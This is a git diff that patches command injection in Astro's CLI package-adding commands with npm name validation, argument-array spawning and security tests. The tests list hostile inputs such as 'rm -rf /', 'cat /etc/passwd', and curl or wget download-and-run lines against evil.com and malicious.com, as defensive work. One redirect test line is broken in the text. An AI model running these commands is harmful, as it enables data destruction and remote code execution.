diff --git a/.changeset/public-lemons-mate.md b/.changeset/public-lemons-mate.md new file mode 100644 index 000000000000..92bfc40d8204 --- /dev/null +++ b/.changeset/public-lemons-mate.md @@ -0,0 +1,5 @@ +--- +'create-astro': patch +--- + +Fixes an issue where `--add` could accept any kind of string, leading to different errors. Now `--add` accepts only values of valid integrations and adapters. diff --git a/.changeset/quiet-cars-burn.md b/.changeset/quiet-cars-burn.md new file mode 100644 index 000000000000..855d45b46061 --- /dev/null +++ b/.changeset/quiet-cars-burn.md @@ -0,0 +1,7 @@ +--- +'create-astro': patch +'astro': patch +--- + +Fixes an issue where the `add` command could accept any arbitrary value, leading the possible command injections. Now `add` and `--add` accepts +values that are only acceptable npmjs.org names. diff --git a/.changeset/tender-bats-tan.md b/.changeset/tender-bats-tan.md new file mode 100644 index 000000000000..e11976d27a29 --- /dev/null +++ b/.changeset/tender-bats-tan.md @@ -0,0 +1,5 @@ +--- +'@astrojs/internal-helpers': minor +--- + +Adds a new `/cli` specifier and the utility `NPM_PACKAGE_NAME_REGEX`. diff --git a/packages/astro/src/cli/add/index.ts b/packages/astro/src/cli/add/index.ts index 44004143d33a..001ed0e1d5e8 100644 --- a/packages/astro/src/cli/add/index.ts +++ b/packages/astro/src/cli/add/index.ts @@ -2,6 +2,7 @@ import fsMod, { existsSync, promises as fs } from 'node:fs'; import { createRequire } from 'node:module'; import path from 'node:path'; import { fileURLToPath, pathToFileURL } from 'node:url'; +import { assertValidPackageName } from '@astrojs/internal-helpers/cli'; import boxen from 'boxen'; import { diffWords } from 'diff'; import { type ASTNode, builders, generateCode, loadFile, type ProxifiedModule } from 'magicast'; @@ -901,6 +902,11 @@ async function validateIntegrations( flags: yargsParser.Arguments, logger: Logger, ): Promise { + // First, validate all package names to prevent command injection + for (const integration of integrations) { + assertValidPackageName(integration); + } + const spinner = yoctoSpinner({ text: 'Resolving packages...' }).start(); try { const integrationEntries = await Promise.all( diff --git a/packages/create-astro/package.json b/packages/create-astro/package.json index ec59aeb8bba7..410aca42c82f 100644 --- a/packages/create-astro/package.json +++ b/packages/create-astro/package.json @@ -35,6 +35,7 @@ "@bluwy/giget-core": "^0.1.6" }, "devDependencies": { + "@astrojs/internal-helpers": "workspace:*", "arg": "^5.0.2", "astro-scripts": "workspace:*" }, diff --git a/packages/create-astro/src/actions/dependencies.ts b/packages/create-astro/src/actions/dependencies.ts index 163108e729eb..01aa36879450 100644 --- a/packages/create-astro/src/actions/dependencies.ts +++ b/packages/create-astro/src/actions/dependencies.ts @@ -1,5 +1,6 @@ import fs from 'node:fs'; import path from 'node:path'; +import { assertValidPackageName } from '@astrojs/internal-helpers/cli'; import { color } from '@astrojs/cli-kit'; import { error, info, title } from '../messages.js'; import { shell } from '../shell.js'; @@ -23,9 +24,15 @@ export async function dependencies( })); ctx.install = deps; } - ctx.add = ctx.add?.reduce((acc, item) => acc.concat(item.split(',')), []); + if (ctx.add) { + for (const addValue of ctx.add) { + // Validate package name to prevent command injection attacks + assertValidPackageName(addValue); + } + } + if (ctx.dryRun) { await info( '--dry-run', @@ -86,11 +93,15 @@ async function astroAdd({ cwd: string; }) { if (packageManager === 'yarn') await ensureYarnLock({ cwd }); - return shell( - packageManager === 'npm' ? 'npx' : `${packageManager} dlx`, - ['astro add', integrations.join(' '), '-y'], - { cwd, timeout: 90_000, stdio: 'ignore' }, - ); + + // Build command and args properly for spawn without shell interpretation + const command = packageManager === 'npm' ? 'npx' : packageManager; + const args = + packageManager === 'npm' + ? ['astro', 'add', ...integrations, '-y'] + : ['dlx', 'astro', 'add', ...integrations, '-y']; + + return shell(command, args, { cwd, timeout: 90_000, stdio: 'ignore' }); } async function install({ packageManager, cwd }: { packageManager: string; cwd: string }) { diff --git a/packages/create-astro/src/shell.ts b/packages/create-astro/src/shell.ts index ada0998e921e..9d49d197f5fd 100644 --- a/packages/create-astro/src/shell.ts +++ b/packages/create-astro/src/shell.ts @@ -27,7 +27,7 @@ export async function shell( let stdout = ''; let stderr = ''; try { - child = spawn(`${command} ${flags.join(' ')}`, { + child = spawn(command, flags, { cwd: opts.cwd, shell: true, stdio: opts.stdio, diff --git a/packages/create-astro/test/dependencies.test.js b/packages/create-astro/test/dependencies.test.js index 2f1317157c71..b0367fe4ae3d 100644 --- a/packages/create-astro/test/dependencies.test.js +++ b/packages/create-astro/test/dependencies.test.js @@ -38,7 +38,6 @@ describe('dependencies', () => { it('prompt no', async () => { const context = { cwd: '', - install: true, packageManager: 'npm', dryRun: true, prompt: () => ({ deps: false }), @@ -78,4 +77,41 @@ describe('dependencies', () => { assert.ok(fixture.hasMessage('Skipping dependency installation')); assert.equal(context.install, false); }); + + describe('--add', async () => { + it('fails for non-supported integration', async () => { + let context = { + cwd: '', + add: ['foo '], + dryRun: true, + prompt: () => ({ deps: false }), + }; + + try { + await dependencies(context); + assert.fail('The function should throw an error'); + } catch (error) { + assert.ok( + error.message.includes('Invalid package name "foo "'), + `Expected error about invalid package name, got: ${error.message}`, + ); + } + context = { + cwd: '', + add: ['react', 'bar lorem'], + dryRun: true, + prompt: () => ({ deps: false }), + }; + + try { + await dependencies(context); + assert.fail('The function should throw an error'); + } catch (error) { + assert.ok( + error.message.includes('Invalid package name "bar lorem"'), + `Expected error about invalid package name, got: ${error.message}`, + ); + } + }); + }); }); diff --git a/packages/create-astro/test/integrations.test.js b/packages/create-astro/test/integrations.test.js index da254134a34a..4db46965ea65 100644 --- a/packages/create-astro/test/integrations.test.js +++ b/packages/create-astro/test/integrations.test.js @@ -62,4 +62,136 @@ describe('integrations', () => { await dependencies(context); assert.ok(fixture.hasMessage('--dry-run Skipping dependency installation')); }); + + describe('Security: Command injection protection', () => { + it('blocks semicolon command injection', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react;whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command injection with semicolon', + ); + }); + + it('blocks command substitution with $()', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react$(whoami)'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command substitution with $()', + ); + }); + + it('blocks command substitution with backticks', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react`whoami`'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command substitution with backticks', + ); + }); + + it('blocks pipe operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react|whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject pipe operator injection', + ); + }); + + it('blocks ampersand operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react&&whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject ampersand operator injection', + ); + }); + + it('blocks redirect operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react>file'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject redirect operator injection', + ); + }); + + it('allows scoped packages', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['@astrojs/tailwind'], + }; + + await dependencies(context); + assert.ok( + fixture.hasMessage( + '--dry-run Skipping dependency installation and adding @astrojs/tailwind', + ), + ); + }); + + it('allows valid package names', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['my-package', 'package_2.0'], + }; + + await dependencies(context); + assert.ok( + fixture.hasMessage( + '--dry-run Skipping dependency installation and adding my-package, package_2.0', + ), + ); + }); + }); }); diff --git a/packages/create-astro/test/package-name-validation.test.js b/packages/create-astro/test/package-name-validation.test.js new file mode 100644 index 000000000000..901618313b3e --- /dev/null +++ b/packages/create-astro/test/package-name-validation.test.js @@ -0,0 +1,198 @@ +import assert from 'node:assert/strict'; +import { describe, it } from 'node:test'; +import { NPM_PACKAGE_NAME_REGEX } from '@astrojs/internal-helpers/cli'; + +describe('NPM Package Name Validation', () => { + describe('Valid package names', () => { + it('accepts simple lowercase names', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('react')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('vue')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('svelte')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('solid')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('preact')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('alpinejs')); + }); + + it('accepts names with hyphens', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some-cool-integration')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('astro-integration')); + }); + + it('accepts names with underscores', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my_package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_integration')); + }); + + it('accepts names with dots', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my.package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('package.js')); + }); + + it('accepts names with mixed valid characters', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_cool-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('integration-2.0')); + }); + + it('accepts names with numbers', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('package2')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('3d-viewer')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('v8')); + }); + + it('accepts scoped packages', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/tailwind')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/react')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@myorg/my-package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@company/integration')); + }); + + it('accepts scoped packages with complex names', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/my-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package_with_underscores')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package-2.0')); + }); + + it('accepts packages with tilde', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('~package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/~package')); + }); + }); + + describe('Invalid package names', () => { + it('rejects names with spaces', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('my package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo bar')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react ')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test(' react')); + }); + + it('rejects names with uppercase letters', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('React')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('MyPackage')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('PACKAGE')); + }); + + it('rejects empty strings', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('')); + }); + + it('rejects names starting with dots', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('.package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('..package')); + }); + + it('rejects names starting with underscores', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('_package')); + }); + }); + + describe('Security: Command injection attempts', () => { + it('blocks semicolon command injection', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react;whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package;ls')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo;rm -rf /')); + }); + + it('blocks command substitution with $()', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$(whoami)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(ls)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package$(id)')); + }); + + it('blocks command substitution with backticks', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react`whoami`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`ls`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package`id`')); + }); + + it('blocks pipe operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react|whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package|cat /etc/passwd')); + }); + + it('blocks ampersand operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&&whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package||ls')); + }); + + it('blocks redirect operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react>file')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package>>file')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\nwhoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\r\nls')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\twhoami')); + }); + + it('blocks quotes and escapes', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test("react'whoami'")); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react"whoami"')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\\whoami')); + }); + + it('blocks parentheses without $', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react(whoami)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package()')); + }); + + it('blocks curly braces', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react{whoami}')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{package}')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{ whoami }')); + }); + + it('blocks asterisks and wildcards', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react*')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('*package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package?')); + }); + + it('blocks square brackets', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react[whoami]')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('[package]')); + }); + + it('blocks hash/comment characters', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react#whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('#package')); + }); + + it('blocks dollar signs not in command substitution', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$var')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$package')); + }); + + it('blocks exclamation marks', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react!')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('!whoami')); + }); + + it('blocks equals signs', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react=1.0')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package=value')); + }); + + it('blocks percent signs', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react%whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('%package')); + }); + + it('blocks plus signs (except at start)', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react+plus')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package+')); + }); + + it('blocks complex injection attempts', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react && curl evil.com | sh')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package; wget malware; chmod +x malware; ./malware')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`curl http://evil.com/script.sh | bash`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(curl -s http://malicious.com/payload.sh|bash)')); + }); + }); +}); diff --git a/packages/internal-helpers/package.json b/packages/internal-helpers/package.json index ea91d947de08..7ef5026f7feb 100644 --- a/packages/internal-helpers/package.json +++ b/packages/internal-helpers/package.json @@ -14,7 +14,8 @@ "exports": { "./path": "./dist/path.js", "./remote": "./dist/remote.js", - "./fs": "./dist/fs.js" + "./fs": "./dist/fs.js", + "./cli": "./dist/cli.js" }, "typesVersions": { "*": { @@ -26,6 +27,9 @@ ], "fs": [ "./dist/fs.d.ts" + ], + "cli": [ + "./dist/cli.d.ts" ] } }, diff --git a/packages/internal-helpers/src/cli.ts b/packages/internal-helpers/src/cli.ts new file mode 100644 index 000000000000..09889d96e168 --- /dev/null +++ b/packages/internal-helpers/src/cli.ts @@ -0,0 +1,49 @@ +/** + * Validates npm package names to prevent command injection attacks in CLI tools. + * + * This regex follows npm naming rules and blocks shell metacharacters that could + * be used for command injection attacks. + * + * @see https://docs.npmjs.com/cli/v10/configuring-npm/package-json#name + */ +export const NPM_PACKAGE_NAME_REGEX = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; + +/** + * Validates a package name for use in CLI commands. + * + * @param packageName - The package name to validate + * @returns true if the package name is valid, false otherwise + * + * @example + * ```ts + * validatePackageName('react'); // true + * validatePackageName('@astrojs/tailwind'); // true + * validatePackageName('react; whoami'); // false + * validatePackageName('react$(whoami)'); // false + * ``` + */ +export function validatePackageName(packageName: string): boolean { + return NPM_PACKAGE_NAME_REGEX.test(packageName); +} + +/** + * Validates a package name and throws an error if invalid. + * + * @param packageName - The package name to validate + * @throws {Error} If the package name is invalid + * + * @example + * ```ts + * assertValidPackageName('react'); // OK + * assertValidPackageName('react; whoami'); // throws Error + * ``` + */ +export function assertValidPackageName(packageName: string): asserts packageName is string { + if (!validatePackageName(packageName)) { + throw new Error( + `Invalid package name "${packageName}". Package names must follow npm naming rules: ` + + `lowercase letters, numbers, hyphens, underscores, and dots. ` + + `Scoped packages like @org/package are also supported.`, + ); + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index be6d85184117..f8e0e8a052d3 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -4645,6 +4645,9 @@ importers: specifier: ^0.1.6 version: 0.1.6 devDependencies: + '@astrojs/internal-helpers': + specifier: workspace:* + version: link:../internal-helpers arg: specifier: ^5.0.2 version: 5.0.2